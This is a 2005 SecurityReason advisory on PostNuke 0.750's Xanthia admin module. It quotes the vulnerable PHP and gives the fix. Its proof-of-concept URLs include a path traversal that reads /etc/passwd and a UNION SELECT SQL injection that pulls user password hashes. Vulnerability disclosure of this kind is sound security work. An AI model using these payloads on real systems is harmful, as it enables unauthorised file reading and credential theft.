[SECURITYREASON.COM] PostNuke Non Critical SQL Injection and Include 0.760-RC3=>x

[Maksymilian Arciemowicz <max@xxxxxxxxxxxx>]

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[PostNuke Non Critical SQL Injection and Include 0.760-RC3=>x cXIb8O3.10]

Author: cXIb8O3(Maksymilian Arciemowicz)
Date: 2.4.2005
from securityreason.com TEAM

- --- 0.Description ---

PostNuke: The Phoenix Release (0.760-RC3=>X)

PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system. PostNuke
is still undergoing development but a large number of core functions are now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage
at http://noc.postnuke.com/
You can also visit us on our IRC Server irc.postnuke.com channel
#postnuke-support
#postnuke-chat
#postnuke
Or at the Community Forums located at:
http://forums.postnuke.com/


- --- 1. Non Critical Local files include ---
This error exist in modules/Xanthia/pnadminapi.php. You can read all files in 
server if the PHP is bad configured and if you have admin right.

For exemple:

http://[HOST]/[DIR]/index.php?module=Xanthia&type=admin&func=addTheme&authid=&skin=cXIb8O3
etc.

Error message :
- ---------------
/www/PostNuke-0.750/source/html/modules/Xanthia/pnadminapi.php on line 1053
- ---------------

or

http://[HOST]/[DIR]/index.php?module=Xanthia&type=admin&func=credits&skin=[FILE]

but you can give to varible skin path to other file. Exemple for /etc/passwd

http://[HOST]/[DIR]/source/html/index.php?module=Xanthia&type=admin&func=addTheme&authid=&skin=../../../../../../../../etc/passwd%00


Vulnerability code in modules/Xanthia/pnadminapi.php:

- ---1039-1052---
 $cWhereIsPerso = WHERE_IS_PERSO;
    if (!(empty($cWhereIsPerso))) {
                $xaninitlang_path = $cWhereIsPerso . 
'themes/'.$id.'/lang/'.$langs.'/xaninit.php';
                $xaninit_path = $cWhereIsPerso . 'themes/'.$id.'/xaninit.php';
                        }
        else {
                $xaninitlang_path = 
'themes/'.$id.'/lang/'.$langs.'/xaninit.php';
                $xaninit_path = 'themes/'.$id.'/xaninit.php';
        }
        if (file_exists($xaninitlang_path)) {
                include_once($xaninitlang_path);
        }
        
        include_once($xaninit_path);
- ---1039-1052---
etc.

- --- 2. Non critical Sql Injection ---
This sql injection is non critical because it works only with admin rights.

- -1655-1676---
        $sql="SELECT $column[module] as module, 
                           $column[block] as block, 
                           $column[position] as position 
                                        FROM  $pntable[theme_blcontrol]
                                        WHERE $column[position]='$dati[0]' 
                                        ORDER BY $column[module]";
        
        $result =& $dbconn->Execute($sql);
        if(!$result->EOF) {
                // Create output object - this object will store all of our 
output so that
                // we can return it easily when required
                $pnRender =& new pnRender('Xanthia');
        
                // As Admin output changes often, we do not want caching.
                $pnRender->caching = false;

                $pnRender->assign('menu', 
pnModFunc('Xanthia','admin','thememenu'));               
                $pnRender->assign('warn', _XA_NZWARNING);
                $pnRender->assign('columnheaders', 
array(pnVarPrepForDisplay(_XA_MODULE),
                                                                                
  pnVarPrepForDisplay(_XA_BLOCK)));
                while(!$result->EOF) {
                        $row = $result->GetRowAssoc(false);
- -1655-1676---

So if we want to make successful attack we need first log_in as postnuke 
administrator.
When we are administrator we can go to :

Example:

http://[HOST]/[DIR]/index.php?module=Xanthia&type=admin&func=rimuovinuovezone&skinID=8&riga[0]='cXIb8O3&riga[1]=and&riga[2]=sp3x&skin=PiterpanV2

Error message :
- ---------------
Fatal error: Call to a member function GetRowAssoc() on a non-object in 
/www/PostNuke-0.750/html/modules/Xanthia/pnadmin.php on line 1676
- ---------------

Exploit for admin:
http://[HOST]/[DIR]/index.php?module=Xanthia&type=admin&func=rimuovinuovezone&skinID=1&riga[0]='%20UNION%20SELECT%20pn_uname,pn_pass,pn_pass%20FROM%20pn__users%20WHERE%20pn_uid=2/*

- --- 3. How to fix ---
PNSA 2005-2
Security Fix (changed files only) for PostNuke 0.750 (tar.gz format)
http://news.postnuke.com/Downloads-index-req-viewdownloaddetails-lid-471.html
SHA1: 6e76d92124c833618d02dfdb87d699374120967d
MD5: a007e741be11389a986b1d8928a6c0e5
Size: 160550 Bytes

or CVS

- --- 4. Greets ---

sp3x

- --- 5.Contact ---
Author: Maksymilian Arciemowicz < cXIb8O3 >
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG-KEY: securityreason.com TEAM
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